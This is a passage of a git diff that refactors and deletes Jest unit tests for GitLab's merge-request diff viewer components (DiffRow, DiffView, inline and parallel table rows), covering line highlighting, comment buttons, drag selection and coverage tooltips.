@@ -305,9 +304,7 @@ describe('DiffFile', () => {
it('should not have any content at all', async () => {
await wrapper.vm.$nextTick();
- Array.from(findDiffContentArea(wrapper).element.children).forEach((child) => {
- expect(isDisplayNone(child)).toBe(true);
- });
+ expect(findDiffContentArea(wrapper).element.children.length).toBe(0);
});
it('should not have the class `has-body` to present the header differently', () => {
diff --git a/spec/frontend/diffs/components/diff_row_spec.js b/spec/frontend/diffs/components/diff_row_spec.js
index 137cc7e3f86..c0c92908701 100644
--- a/spec/frontend/diffs/components/diff_row_spec.js
+++ b/spec/frontend/diffs/components/diff_row_spec.js
@@ -8,6 +8,12 @@ import diffsModule from '~/diffs/store/modules';
import { findInteropAttributes } from '../find_interop_attributes';
import diffFileMockData from '../mock_data/diff_file';
+const showCommentForm = jest.fn();
+const enterdragging = jest.fn();
+const stopdragging = jest.fn();
+const setHighlightedRow = jest.fn();
+let wrapper;
+
describe('DiffRow', () => {
const testLines = [
{
@@ -29,7 +35,7 @@ describe('DiffRow', () => {
},
];
- const createWrapper = ({ props, state, actions, isLoggedIn = true }) => {
+ const createWrapper = ({ props, state = {}, actions, isLoggedIn = true }) => {
Vue.use(Vuex);
const diffs = diffsModule();
@@ -43,11 +49,25 @@ describe('DiffRow', () => {
getters,
});
+ window.gon = { current_user_id: isLoggedIn ? 1 : 0 };
+ const coverageFileData = state.coverageFiles?.files ? state.coverageFiles.files : {};
+
const propsData = {
fileHash: 'abc',
filePath: 'abc',
line: {},
index: 0,
+ isHighlighted: false,
+ fileLineCoverage: (file, line) => {
+ const hits = coverageFileData[file]?.[line];
+ if (hits) {
+ return { text: `Test coverage: ${hits} hits`, class: 'coverage' };
+ } else if (hits === 0) {
+ return { text: 'No test coverage', class: 'no-coverage' };
+ }
+
+ return {};
+ },
...props,
};
@@ -55,49 +75,37 @@ describe('DiffRow', () => {
glFeatures: { dragCommentSelection: true },
};
- return shallowMount(DiffRow, { propsData, store, provide });
+ return shallowMount(DiffRow, {
+ propsData,
+ store,
+ provide,
+ listeners: {
+ enterdragging,
+ stopdragging,
+ setHighlightedRow,
+ showCommentForm,
+ },
+ });
};
- it('isHighlighted returns true given line.left', () => {
- const props = {
- line: {
- left: {
- line_code: 'abc',
- },
- },
- };
- const state = { highlightedRow: 'abc' };
- const wrapper = createWrapper({ props, state });
- expect(wrapper.vm.isHighlighted).toBe(true);
- });
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
- it('isHighlighted returns true given line.right', () => {
- const props = {
- line: {
- right: {
- line_code: 'abc',
- },
- },
- };
- const state = { highlightedRow: 'abc' };
- const wrapper = createWrapper({ props, state });
- expect(wrapper.vm.isHighlighted).toBe(true);
- });
+ window.gon = {};
+ showCommentForm.mockReset();
+ enterdragging.mockReset();
+ stopdragging.mockReset();
+ setHighlightedRow.mockReset();
- it('isHighlighted returns false given line.left', () => {
- const props = {
- line: {
- left: {
- line_code: 'abc',
- },
- },
- };
- const wrapper = createWrapper({ props });
- expect(wrapper.vm.isHighlighted).toBe(false);
+ Object.values(DiffRow).forEach(({ cache }) => {
+ if (cache) {
+ cache.clear();
+ }
+ });
});
- const getCommentButton = (wrapper, side) =>
- wrapper.find(`[data-testid="${side}-comment-button"]`);
+ const getCommentButton = (side) => wrapper.find(`[data-testid="${side}-comment-button"]`);
describe.each`
side
@@ -105,33 +113,30 @@ describe('DiffRow', () => {
${'right'}
`('$side side', ({ side }) => {
it(`renders empty cells if ${side} is unavailable`, () => {
- const wrapper = createWrapper({ props: { line: testLines[2], inline: false } });
+ wrapper = createWrapper({ props: { line: testLines[2], inline: false } });
expect(wrapper.find(`[data-testid="${side}-line-number"]`).exists()).toBe(false);
expect(wrapper.find(`[data-testid="${side}-empty-cell"]`).exists()).toBe(true);
});
describe('comment button', () => {
- const showCommentForm = jest.fn();
let line;
beforeEach(() => {
- showCommentForm.mockReset();
// https://eslint.org/docs/rules/prefer-destructuring#when-not-to-use-it
// eslint-disable-next-line prefer-destructuring
line = testLines[3];
});
it('renders', () => {
- const wrapper = createWrapper({ props: { line, inline: false } });
- expect(getCommentButton(wrapper, side).exists()).toBe(true);
+ wrapper = createWrapper({ props: { line, inline: false } });
+ expect(getCommentButton(side).exists()).toBe(true);
});
it('responds to click and keyboard events', async () => {
- const wrapper = createWrapper({
+ wrapper = createWrapper({
props: { line, inline: false },
- actions: { showCommentForm },
});
- const commentButton = getCommentButton(wrapper, side);
+ const commentButton = getCommentButton(side);
await commentButton.trigger('click');
await commentButton.trigger('keydown.enter');
@@ -142,11 +147,10 @@ describe('DiffRow', () => {
it('ignores click and keyboard events when comments are disabled', async () => {
line[side].commentsDisabled = true;
- const wrapper = createWrapper({
+ wrapper = createWrapper({
props: { line, inline: false },
- actions: { showCommentForm },
});
- const commentButton = getCommentButton(wrapper, side);
+ const commentButton = getCommentButton(side);
await commentButton.trigger('click');
await commentButton.trigger('keydown.enter');
@@ -157,19 +161,20 @@ describe('DiffRow', () => {
});
it('renders avatars', () => {
- const wrapper = createWrapper({ props: { line: testLines[0], inline: false } });
+ wrapper = createWrapper({ props: { line: testLines[0], inline: false } });
+
expect(wrapper.find(`[data-testid="${side}-discussions"]`).exists()).toBe(true);
});
});
it('renders left line numbers', () => {
- const wrapper = createWrapper({ props: { line: testLines[0] } });
+ wrapper = createWrapper({ props: { line: testLines[0] } });
const lineNumber = testLines[0].left.old_line;
expect(wrapper.find(`[data-linenumber="${lineNumber}"]`).exists()).toBe(true);
});
it('renders right line numbers', () => {
- const wrapper = createWrapper({ props: { line: testLines[0] } });
+ wrapper = createWrapper({ props: { line: testLines[0] } });
const lineNumber = testLines[0].right.new_line;
expect(wrapper.find(`[data-linenumber="${lineNumber}"]`).exists()).toBe(true);
});
@@ -186,12 +191,10 @@ describe('DiffRow', () => {
${'left'}
${'right'}
`('emits `enterdragging` onDragEnter $side side', ({ side }) => {
- const expectation = { ...line[side], index: 0 };
- const wrapper = createWrapper({ props: { line } });
+ wrapper = createWrapper({ props: { line } });
fireEvent.dragEnter(getByTestId(wrapper.element, `${side}-side`));
- expect(wrapper.emitted().enterdragging).toBeTruthy();
- expect(wrapper.emitted().enterdragging[0]).toEqual([expectation]);
+ expect(enterdragging).toHaveBeenCalledWith({ ...line[side], index: 0 });
});
it.each`
@@ -199,10 +202,10 @@ describe('DiffRow', () => {
${'left'}
${'right'}
`('emits `stopdragging` onDrop $side side', ({ side }) => {
- const wrapper = createWrapper({ props: { line } });
+ wrapper = createWrapper({ props: { line } });
fireEvent.dragEnd(getByTestId(wrapper.element, `${side}-side`));
- expect(wrapper.emitted().stopdragging).toBeTruthy();
+ expect(stopdragging).toHaveBeenCalled();
});
});
@@ -231,7 +234,7 @@ describe('DiffRow', () => {
it('for lines with coverage', () => {
const coverageFiles = { files: { [name]: { [line]: 5 } } };
- const wrapper = createWrapper({ props, state: { coverageFiles } });
+ wrapper = createWrapper({ props, state: { coverageFiles } });
const coverage = wrapper.find('.line-coverage.right-side');
expect(coverage.attributes('title')).toContain('Test coverage: 5 hits');
@@ -240,7 +243,7 @@ describe('DiffRow', () => {
it('for lines without coverage', () => {
const coverageFiles = { files: { [name]: { [line]: 0 } } };
- const wrapper = createWrapper({ props, state: { coverageFiles } });
+ wrapper = createWrapper({ props, state: { coverageFiles } });
const coverage = wrapper.find('.line-coverage.right-side');
expect(coverage.attributes('title')).toContain('No test coverage');
@@ -249,7 +252,7 @@ describe('DiffRow', () => {
it('for unknown lines', () => {
const coverageFiles = {};
- const wrapper = createWrapper({ props, state: { coverageFiles } });
+ wrapper = createWrapper({ props, state: { coverageFiles } });
const coverage = wrapper.find('.line-coverage.right-side');
expect(coverage.attributes('title')).toBeFalsy();
@@ -267,7 +270,7 @@ describe('DiffRow', () => {
${'with parallel and no left side'} | ${{ right: { old_line: 3, new_line: 5 } }} | ${false} | ${null} | ${{ type: 'new', line: '5', newLine: '5' }}
${'with parallel and right side'} | ${{ left: { old_line: 3 }, right: { new_line: 5 } }} | ${false} | ${{ type: 'old', line: '3', oldLine: '3' }} | ${{ type: 'new', line: '5', newLine: '5' }}
`('$desc, sets interop data attributes', ({ line, inline, leftSide, rightSide }) => {
- const wrapper = createWrapper({ props: { line, inline } });
+ wrapper = createWrapper({ props: { line, inline } });
expect(findInteropAttributes(wrapper, '[data-testid="left-side"]')).toEqual(leftSide);
expect(findInteropAttributes(wrapper, '[data-testid="right-side"]')).toEqual(rightSide);
diff --git a/spec/frontend/diffs/components/diff_row_utils_spec.js b/spec/frontend/diffs/components/diff_row_utils_spec.js
index 47ae3cd5867..930b8bcdb08 100644
--- a/spec/frontend/diffs/components/diff_row_utils_spec.js
+++ b/spec/frontend/diffs/components/diff_row_utils_spec.js
@@ -11,24 +11,21 @@ const LINE_CODE = 'abc123';
describe('isHighlighted', () => {
it('should return true if line is highlighted', () => {
- const state = { diffs: { highlightedRow: LINE_CODE } };
const line = { line_code: LINE_CODE };
const isCommented = false;
- expect(utils.isHighlighted(state, line, isCommented)).toBe(true);
+ expect(utils.isHighlighted(LINE_CODE, line, isCommented)).toBe(true);
});
it('should return false if line is not highlighted', () => {
- const state = { diffs: { highlightedRow: 'xxx' } };
const line = { line_code: LINE_CODE };
const isCommented = false;
- expect(utils.isHighlighted(state, line, isCommented)).toBe(false);
+ expect(utils.isHighlighted('xxx', line, isCommented)).toBe(false);
});
it('should return true if isCommented is true', () => {
- const state = { diffs: { highlightedRow: 'xxx' } };
const line = { line_code: LINE_CODE };
const isCommented = true;
- expect(utils.isHighlighted(state, line, isCommented)).toBe(true);
+ expect(utils.isHighlighted('xxx', line, isCommented)).toBe(true);
});
});
@@ -143,19 +140,14 @@ describe('addCommentTooltip', () => {
'Commenting on symbolic links that replace or are replaced by files is currently not supported.';
const brokenRealTooltip =
'Commenting on files that replace or are replaced by symbolic links is currently not supported.';
- const commentTooltip = 'Add a comment to this line';
const dragTooltip = 'Add a comment to this line or drag for multiple lines';
it('should return default tooltip', () => {
expect(utils.addCommentTooltip()).toBeUndefined();
});
- it('should return comment tooltip', () => {
- expect(utils.addCommentTooltip({})).toEqual(commentTooltip);
- });
-
it('should return drag comment tooltip when dragging is enabled', () => {
- expect(utils.addCommentTooltip({}, true)).toEqual(dragTooltip);
+ expect(utils.addCommentTooltip({})).toEqual(dragTooltip);
});
it('should return broken symlink tooltip', () => {
@@ -258,30 +250,3 @@ describe('mapParallel', () => {
expect(mapped.right).toMatchObject(rightExpectation);
});
});
-
-describe('mapInline', () => {
- it('should assign computed properties to the line object', () => {
- const content = {
- diffFile: {},
- shouldRenderDraftRow: () => false,
- };
- const line = {
- discussions: [{}],
- discussionsExpanded: true,
- hasForm: true,
- };
- const expectation = {
- commentRowClasses: '',
- hasDiscussions: true,
- isContextLine: false,
- isMatchLine: false,
- isMetaLine: false,
- renderDiscussion: true,
- hasDraft: false,
- hasCommentForm: true,
- };
- const mapped = utils.mapInline(content)(line);
-
- expect(mapped).toMatchObject(expectation);
- });
-});
diff --git a/spec/frontend/diffs/components/diff_view_spec.js b/spec/frontend/diffs/components/diff_view_spec.js
index 83b173c1f5d..3af66526050 100644
--- a/spec/frontend/diffs/components/diff_view_spec.js
+++ b/spec/frontend/diffs/components/diff_view_spec.js
@@ -28,7 +28,7 @@ describe('DiffView', () => {
};
const diffs = {
actions: { showCommentForm },
- getters: { commitId: () => 'abc123' },
+ getters: { commitId: () => 'abc123', fileLineCoverage: () => ({}) },
namespaced: true,
};
const notes = {
@@ -41,7 +41,7 @@ describe('DiffView', () => {
});
const propsData = {
- diffFile: {},
+ diffFile: { file_hash: '123' },
diffLines: [],
...props,
};
@@ -84,15 +84,15 @@ describe('DiffView', () => {
it('sets `dragStart` onStartDragging', () => {
const wrapper = createWrapper({ diffLines: [{}] });
- wrapper.findComponent(DiffRow).vm.$emit('startdragging', { test: true });
- expect(wrapper.vm.dragStart).toEqual({ test: true });
+ wrapper.findComponent(DiffRow).vm.$emit('startdragging', { line: { test: true } });
+ expect(wrapper.vm.idState.dragStart).toEqual({ test: true });
});
it('does not call `setSelectedCommentPosition` on different chunks onDragOver', () => {
const wrapper = createWrapper({ diffLines: [{}] });
const diffRow = getDiffRow(wrapper);
- diffRow.$emit('startdragging', { chunk: 0 });
+ diffRow.$emit('startdragging', { line: { chunk: 0 } });
diffRow.$emit('enterdragging', { chunk: 1 });
expect(setSelectedCommentPosition).not.toHaveBeenCalled();
@@ -109,7 +109,7 @@ describe('DiffView', () => {
const wrapper = createWrapper({ diffLines: [{}] });
const diffRow = getDiffRow(wrapper);
- diffRow.$emit('startdragging', { chunk: 1, index: start });
+ diffRow.$emit('startdragging', { line: { chunk: 1, index: start } });
diffRow.$emit('enterdragging', { chunk: 1, index: end });
const arg = setSelectedCommentPosition.mock.calls[0][1];
@@ -122,11 +122,11 @@ describe('DiffView', () => {
const wrapper = createWrapper({ diffLines: [{}] });
const diffRow = getDiffRow(wrapper);
- diffRow.$emit('startdragging', { test: true });
- expect(wrapper.vm.dragStart).toEqual({ test: true });
+ diffRow.$emit('startdragging', { line: { test: true } });
+ expect(wrapper.vm.idState.dragStart).toEqual({ test: true });
diffRow.$emit('stopdragging');
- expect(wrapper.vm.dragStart).toBeNull();
+ expect(wrapper.vm.idState.dragStart).toBeNull();
expect(showCommentForm).toHaveBeenCalled();
});
});
diff --git a/spec/frontend/diffs/components/inline_diff_table_row_spec.js b/spec/frontend/diffs/components/inline_diff_table_row_spec.js
deleted file mode 100644
index 9c3e00cd6cf..00000000000
--- a/spec/frontend/diffs/components/inline_diff_table_row_spec.js
+++ /dev/null
@@ -1,325 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import DiffGutterAvatars from '~/diffs/components/diff_gutter_avatars.vue';
-import { mapInline } from '~/diffs/components/diff_row_utils';
-import InlineDiffTableRow from '~/diffs/components/inline_diff_table_row.vue';
-import { createStore } from '~/mr_notes/stores';
-import { findInteropAttributes } from '../find_interop_attributes';
-import discussionsMockData from '../mock_data/diff_discussions';
-import diffFileMockData from '../mock_data/diff_file';
-
-const TEST_USER_ID = 'abc123';
-const TEST_USER = { id: TEST_USER_ID };
-
-describe('InlineDiffTableRow', () => {
- let wrapper;
- let store;
- const mockDiffContent = {
- diffFile: diffFileMockData,
- shouldRenderDraftRow: jest.fn(),
- hasParallelDraftLeft: jest.fn(),
- hasParallelDraftRight: jest.fn(),
- draftForLine: jest.fn(),
- };
-
- const applyMap = mapInline(mockDiffContent);
- const thisLine = applyMap(diffFileMockData.highlighted_diff_lines[0]);
-
- const createComponent = (props = {}, propsStore = store) => {
- wrapper = shallowMount(InlineDiffTableRow, {
- store: propsStore,
- propsData: {
- line: thisLine,
- fileHash: diffFileMockData.file_hash,
- filePath: diffFileMockData.file_path,
- contextLinesPath: 'contextLinesPath',
- isHighlighted: false,
- ...props,
- },
- });
- };
-
- beforeEach(() => {
- store = createStore();
- store.state.notes.userData = TEST_USER;
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('does not add hll class to line content when line does not match highlighted row', () => {
- createComponent();
- expect(wrapper.find('.line_content').classes('hll')).toBe(false);
- });
-
- it('adds hll class to lineContent when line is the highlighted row', () => {
- store.state.diffs.highlightedRow = thisLine.line_code;
- createComponent({}, store);
- expect(wrapper.find('.line_content').classes('hll')).toBe(true);
- });
-
- it('adds hll class to lineContent when line is part of a multiline comment', () => {
- createComponent({ isCommented: true });
- expect(wrapper.find('.line_content').classes('hll')).toBe(true);
- });
-
- describe('sets coverage title and class', () => {
- it('for lines with coverage', () => {
- const name = diffFileMockData.file_path;
- const line = thisLine.new_line;
-
- store.state.diffs.coverageFiles = { files: { [name]: { [line]: 5 } } };
- createComponent({}, store);
- const coverage = wrapper.find('.line-coverage');
-
- expect(coverage.attributes('title')).toContain('Test coverage: 5 hits');
- expect(coverage.classes('coverage')).toBe(true);
- });
-
- it('for lines without coverage', () => {
- const name = diffFileMockData.file_path;
- const line = thisLine.new_line;
-
- store.state.diffs.coverageFiles = { files: { [name]: { [line]: 0 } } };
- createComponent({}, store);
- const coverage = wrapper.find('.line-coverage');
-
- expect(coverage.attributes('title')).toContain('No test coverage');
- expect(coverage.classes('no-coverage')).toBe(true);
- });
-
- it('for unknown lines', () => {
- store.state.diffs.coverageFiles = {};
- createComponent({}, store);
-
- const coverage = wrapper.find('.line-coverage');
-
- expect(coverage.attributes('title')).toBeUndefined();
- expect(coverage.classes('coverage')).toBe(false);
- expect(coverage.classes('no-coverage')).toBe(false);
- });
- });
-
- describe('Table Cells', () => {
- const findNewTd = () => wrapper.find({ ref: 'newTd' });
- const findOldTd = () => wrapper.find({ ref: 'oldTd' });
-
- describe('td', () => {
- it('highlights when isHighlighted true', () => {
- store.state.diffs.highlightedRow = thisLine.line_code;
- createComponent({}, store);
-
- expect(findNewTd().classes()).toContain('hll');
- expect(findOldTd().classes()).toContain('hll');
- });
-
- it('does not highlight when isHighlighted false', () => {
- createComponent();
-
- expect(findNewTd().classes()).not.toContain('hll');
- expect(findOldTd().classes()).not.toContain('hll');
- });
- });
-
- describe('comment button', () => {
- const findNoteButton = () => wrapper.find({ ref: 'addDiffNoteButton' });
-
- it.each`
- userData | expectation
- ${TEST_USER} | ${true}
- ${null} | ${false}
- `('exists is $expectation - with userData ($userData)', ({ userData, expectation }) => {
- store.state.notes.userData = userData;
- createComponent({}, store);
-
- expect(findNoteButton().exists()).toBe(expectation);
- });
-
- it.each`
- isHover | line | expectation
- ${true} | ${{ ...thisLine, discussions: [] }} | ${true}
- ${false} | ${{ ...thisLine, discussions: [] }} | ${false}
- ${true} | ${{ ...thisLine, type: 'context', discussions: [] }} | ${false}
- ${true} | ${{ ...thisLine, type: 'old-nonewline', discussions: [] }} | ${false}
- ${true} | ${{ ...thisLine, discussions: [{}] }} | ${false}
- `('visible is $expectation - line ($line)', ({ isHover, line, expectation }) => {
- createComponent({ line: applyMap(line) });
- wrapper.setData({ isHover });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findNoteButton().isVisible()).toBe(expectation);
- });
- });
-
- it.each`
- disabled | commentsDisabled
- ${'disabled'} | ${true}
- ${undefined} | ${false}
- `(
- 'has attribute disabled=$disabled when the outer component has prop commentsDisabled=$commentsDisabled',
- ({ disabled, commentsDisabled }) => {
- createComponent({
- line: applyMap({ ...thisLine, commentsDisabled }),
- });
-
- wrapper.setData({ isHover: true });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findNoteButton().attributes('disabled')).toBe(disabled);
- });
- },
- );
-
- const symlinkishFileTooltip =
- 'Commenting on symbolic links that replace or are replaced by files is currently not supported.';
- const realishFileTooltip =
- 'Commenting on files that replace or are replaced by symbolic links is currently not supported.';
- const otherFileTooltip = 'Add a comment to this line';
- const findTooltip = () => wrapper.find({ ref: 'addNoteTooltip' });
-
- it.each`
- tooltip | commentsDisabled
- ${symlinkishFileTooltip} | ${{ wasSymbolic: true }}
- ${symlinkishFileTooltip} | ${{ isSymbolic: true }}
- ${realishFileTooltip} | ${{ wasReal: true }}
- ${realishFileTooltip} | ${{ isReal: true }}
- ${otherFileTooltip} | ${false}
- `(
- 'has the correct tooltip when commentsDisabled=$commentsDisabled',
- ({ tooltip, commentsDisabled }) => {
- createComponent({
- line: applyMap({ ...thisLine, commentsDisabled }),
- });
-
- wrapper.setData({ isHover: true });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findTooltip().attributes('title')).toBe(tooltip);
- });
- },
- );
- });
-
- describe('line number', () => {
- const findLineNumberOld = () => wrapper.find({ ref: 'lineNumberRefOld' });
- const findLineNumberNew = () => wrapper.find({ ref: 'lineNumberRefNew' });
-
- it('renders line numbers in correct cells', () => {
- createComponent();
-
- expect(findLineNumberOld().exists()).toBe(false);
- expect(findLineNumberNew().exists()).toBe(true);
- });
-
- describe('with lineNumber prop', () => {
- const TEST_LINE_CODE = 'LC_42';
- const TEST_LINE_NUMBER = 1;
-
- describe.each`
- lineProps | findLineNumber | expectedHref | expectedClickArg
- ${{ line_code: TEST_LINE_CODE, old_line: TEST_LINE_NUMBER }} | ${findLineNumberOld} | ${`#${TEST_LINE_CODE}`} | ${TEST_LINE_CODE}
- ${{ line_code: undefined, old_line: TEST_LINE_NUMBER }} | ${findLineNumberOld} | ${'#'} | ${undefined}
- ${{ line_code: undefined, left: { line_code: TEST_LINE_CODE }, old_line: TEST_LINE_NUMBER }} | ${findLineNumberOld} | ${'#'} | ${TEST_LINE_CODE}
- ${{ line_code: undefined, right: { line_code: TEST_LINE_CODE }, new_line: TEST_LINE_NUMBER }} | ${findLineNumberNew} | ${'#'} | ${TEST_LINE_CODE}
- `(
- 'with line ($lineProps)',
- ({ lineProps, findLineNumber, expectedHref, expectedClickArg }) => {
- beforeEach(() => {
- jest.spyOn(store, 'dispatch').mockImplementation();
- createComponent({
- line: applyMap({ ...thisLine, ...lineProps }),
- });
- });
-
- it('renders', () => {
- expect(findLineNumber().exists()).toBe(true);
- expect(findLineNumber().attributes()).toEqual({
- href: expectedHref,
- 'data-linenumber': TEST_LINE_NUMBER.toString(),
- });
- });
-
- it('on click, dispatches setHighlightedRow', () => {
- expect(store.dispatch).toHaveBeenCalledTimes(1);
-
- findLineNumber().trigger('click');
-
- expect(store.dispatch).toHaveBeenCalledWith(
- 'diffs/setHighlightedRow',
- expectedClickArg,
- );
- expect(store.dispatch).toHaveBeenCalledTimes(2);
- });
- },
- );
- });
- });
-
- describe('diff-gutter-avatars', () => {
- const TEST_LINE_CODE = 'LC_42';
- const TEST_FILE_HASH = diffFileMockData.file_hash;
- const findAvatars = () => wrapper.find(DiffGutterAvatars);
- let line;
-
- beforeEach(() => {
- jest.spyOn(store, 'dispatch').mockImplementation();
-
- line = {
- line_code: TEST_LINE_CODE,
- type: 'new',
- old_line: null,
- new_line: 1,
- discussions: [{ ...discussionsMockData }],
- discussionsExpanded: true,
- text: '+<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
- rich_text: '+<span id="LC1" class="line" lang="plaintext"> - Bad dates</span>\n',
- meta_data: null,
- };
- });
-
- describe('with showCommentButton', () => {
- it('renders if line has discussions', () => {
- createComponent({ line: applyMap(line) });
-
- expect(findAvatars().props()).toEqual({
- discussions: line.discussions,
- discussionsExpanded: line.discussionsExpanded,
- });
- });
-
- it('does notrender if line has no discussions', () => {
- line.discussions = [];
- createComponent({ line: applyMap(line) });
-
- expect(findAvatars().exists()).toEqual(false);
- });
-
- it('toggles line discussion', () => {
- createComponent({ line: applyMap(line) });
-
- expect(store.dispatch).toHaveBeenCalledTimes(1);
-
- findAvatars().vm.$emit('toggleLineDiscussions');
-
- expect(store.dispatch).toHaveBeenCalledWith('diffs/toggleLineDiscussions', {
- lineCode: TEST_LINE_CODE,
- fileHash: TEST_FILE_HASH,
- expanded: !line.discussionsExpanded,
- });
- });
- });
- });
- });
-
- describe('interoperability', () => {
- it.each`
- desc | line | expectation
- ${'with type old'} | ${{ ...thisLine, type: 'old', old_line: 3, new_line: 5 }} | ${{ type: 'old', line: '3', oldLine: '3', newLine: '5' }}
- ${'with type new'} | ${{ ...thisLine, type: 'new', old_line: 3, new_line: 5 }} | ${{ type: 'new', line: '5', oldLine: '3', newLine: '5' }}
- `('$desc, sets interop data attributes', ({ line, expectation }) => {
- createComponent({ line });
-
- expect(findInteropAttributes(wrapper)).toEqual(expectation);
- });
- });
-});
diff --git a/spec/frontend/diffs/components/inline_diff_view_spec.js b/spec/frontend/diffs/components/inline_diff_view_spec.js
deleted file mode 100644
index 27834804f77..00000000000
--- a/spec/frontend/diffs/components/inline_diff_view_spec.js
+++ /dev/null
@@ -1,57 +0,0 @@
-import '~/behaviors/markdown/render_gfm';
-import { getByText } from '@testing-library/dom';
-import { mount } from '@vue/test-utils';
-import { mapInline } from '~/diffs/components/diff_row_utils';
-import InlineDiffView from '~/diffs/components/inline_diff_view.vue';
-import { createStore } from '~/mr_notes/stores';
-import discussionsMockData from '../mock_data/diff_discussions';
-import diffFileMockData from '../mock_data/diff_file';
-
-describe('InlineDiffView', () => {
- let wrapper;
- const getDiffFileMock = () => ({ ...diffFileMockData });
- const getDiscussionsMockData = () => [{ ...discussionsMockData }];
- const notesLength = getDiscussionsMockData()[0].notes.length;
-
- const setup = (diffFile, diffLines) => {
- const mockDiffContent = {
- diffFile,
- shouldRenderDraftRow: jest.fn(),
- };
-
- const store = createStore();
-
- store.dispatch('diffs/setInlineDiffViewType');
- wrapper = mount(InlineDiffView, {
- store,
- propsData: {
- diffFile,
- diffLines: diffLines.map(mapInline(mockDiffContent)),
- },
- });
- };
-
- describe('template', () => {
- it('should have rendered diff lines', () => {
- const diffFile = getDiffFileMock();
- setup(diffFile, diffFile.highlighted_diff_lines);
-
- expect(wrapper.findAll('tr.line_holder').length).toEqual(8);
- expect(wrapper.findAll('tr.line_holder.new').length).toEqual(4);
- expect(wrapper.findAll('tr.line_expansion.match').length).toEqual(1);
- getByText(wrapper.element, /Bad dates/i);
- });
-
- it('should render discussions', () => {
- const diffFile = getDiffFileMock();
- diffFile.highlighted_diff_lines[1].discussions = getDiscussionsMockData();
- diffFile.highlighted_diff_lines[1].discussionsExpanded = true;
- setup(diffFile, diffFile.highlighted_diff_lines);
-
- expect(wrapper.findAll('.notes_holder').length).toEqual(1);
- expect(wrapper.findAll('.notes_holder .note').length).toEqual(notesLength + 1);
- getByText(wrapper.element, 'comment 5');
- wrapper.vm.$store.dispatch('setInitialNotes', []);
- });
- });
-});
diff --git a/spec/frontend/diffs/components/parallel_diff_table_row_spec.js b/spec/frontend/diffs/components/parallel_diff_table_row_spec.js
deleted file mode 100644
index ed191d849fd..00000000000
--- a/spec/frontend/diffs/components/parallel_diff_table_row_spec.js
+++ /dev/null
@@ -1,445 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import Vue from 'vue';
-import { createComponentWithStore } from 'helpers/vue_mount_component_helper';
-import DiffGutterAvatars from '~/diffs/components/diff_gutter_avatars.vue';
-import { mapParallel } from '~/diffs/components/diff_row_utils';
-import ParallelDiffTableRow from '~/diffs/components/parallel_diff_table_row.vue';
-import { createStore } from '~/mr_notes/stores';
-import { findInteropAttributes } from '../find_interop_attributes';
-import discussionsMockData from '../mock_data/diff_discussions';
-import diffFileMockData from '../mock_data/diff_file';
-
-describe('ParallelDiffTableRow', () => {
- const mockDiffContent = {
- diffFile: diffFileMockData,
- shouldRenderDraftRow: jest.fn(),
- hasParallelDraftLeft: jest.fn(),
- hasParallelDraftRight: jest.fn(),
- draftForLine: jest.fn(),
- };
-
- const applyMap = mapParallel(mockDiffContent);
-
- describe('when one side is empty', () => {
- let wrapper;
- let vm;
- const thisLine = diffFileMockData.parallel_diff_lines[0];
- const rightLine = diffFileMockData.parallel_diff_lines[0].right;
-
- beforeEach(() => {
- wrapper = shallowMount(ParallelDiffTableRow, {
- store: createStore(),
- propsData: {
- line: applyMap(thisLine),
- fileHash: diffFileMockData.file_hash,
- filePath: diffFileMockData.file_path,
- contextLinesPath: 'contextLinesPath',
- isHighlighted: false,
- },
- });
-
- vm = wrapper.vm;
- });
-
- it('does not highlight non empty line content when line does not match highlighted row', (done) => {
- vm.$nextTick()
- .then(() => {
- expect(vm.$el.querySelector('.line_content.right-side').classList).not.toContain('hll');
- })
- .then(done)
- .catch(done.fail);
- });
-
- it('highlights nonempty line content when line is the highlighted row', (done) => {
- vm.$nextTick()
- .then(() => {
- vm.$store.state.diffs.highlightedRow = rightLine.line_code;
-
- return vm.$nextTick();
- })
- .then(() => {
- expect(vm.$el.querySelector('.line_content.right-side').classList).toContain('hll');
- })
- .then(done)
- .catch(done.fail);
- });
-
- it('highlights nonempty line content when line is part of a multiline comment', () => {
- wrapper.setProps({ isCommented: true });
- return vm.$nextTick().then(() => {
- expect(vm.$el.querySelector('.line_content.right-side').classList).toContain('hll');
- });
- });
- });
-
- describe('when both sides have content', () => {
- let vm;
- const thisLine = diffFileMockData.parallel_diff_lines[2];
- const rightLine = diffFileMockData.parallel_diff_lines[2].right;
-
- beforeEach(() => {
- vm = createComponentWithStore(Vue.extend(ParallelDiffTableRow), createStore(), {
- line: applyMap(thisLine),
- fileHash: diffFileMockData.file_hash,
- filePath: diffFileMockData.file_path,
- contextLinesPath: 'contextLinesPath',
- isHighlighted: false,
- }).$mount();
- });
-
- it('does not highlight either line when line does not match highlighted row', (done) => {
- vm.$nextTick()
- .then(() => {
- expect(vm.$el.querySelector('.line_content.right-side').classList).not.toContain('hll');
- expect(vm.$el.querySelector('.line_content.left-side').classList).not.toContain('hll');
- })
- .then(done)
- .catch(done.fail);
- });
-
- it('adds hll class to lineContent when line is the highlighted row', (done) => {
- vm.$nextTick()
- .then(() => {
- vm.$store.state.diffs.highlightedRow = rightLine.line_code;
-
- return vm.$nextTick();
- })
- .then(() => {
- expect(vm.$el.querySelector('.line_content.right-side').classList).toContain('hll');
- expect(vm.$el.querySelector('.line_content.left-side').classList).toContain('hll');
- })
- .then(done)
- .catch(done.fail);
- });
-
- describe('sets coverage title and class', () => {
- it('for lines with coverage', (done) => {
- vm.$nextTick()
- .then(() => {
- const name = diffFileMockData.file_path;
- const line = rightLine.new_line;
-
- vm.$store.state.diffs.coverageFiles = { files: { [name]: { [line]: 5 } } };
-
- return vm.$nextTick();
- })
- .then(() => {
- const coverage = vm.$el.querySelector('.line-coverage.right-side');
-
- expect(coverage.title).toContain('Test coverage: 5 hits');
- expect(coverage.classList).toContain('coverage');
- })
- .then(done)
- .catch(done.fail);
- });
-
- it('for lines without coverage', (done) => {
- vm.$nextTick()
- .then(() => {
- const name = diffFileMockData.file_path;
- const line = rightLine.new_line;
-
- vm.$store.state.diffs.coverageFiles = { files: { [name]: { [line]: 0 } } };
-
- return vm.$nextTick();
- })
- .then(() => {
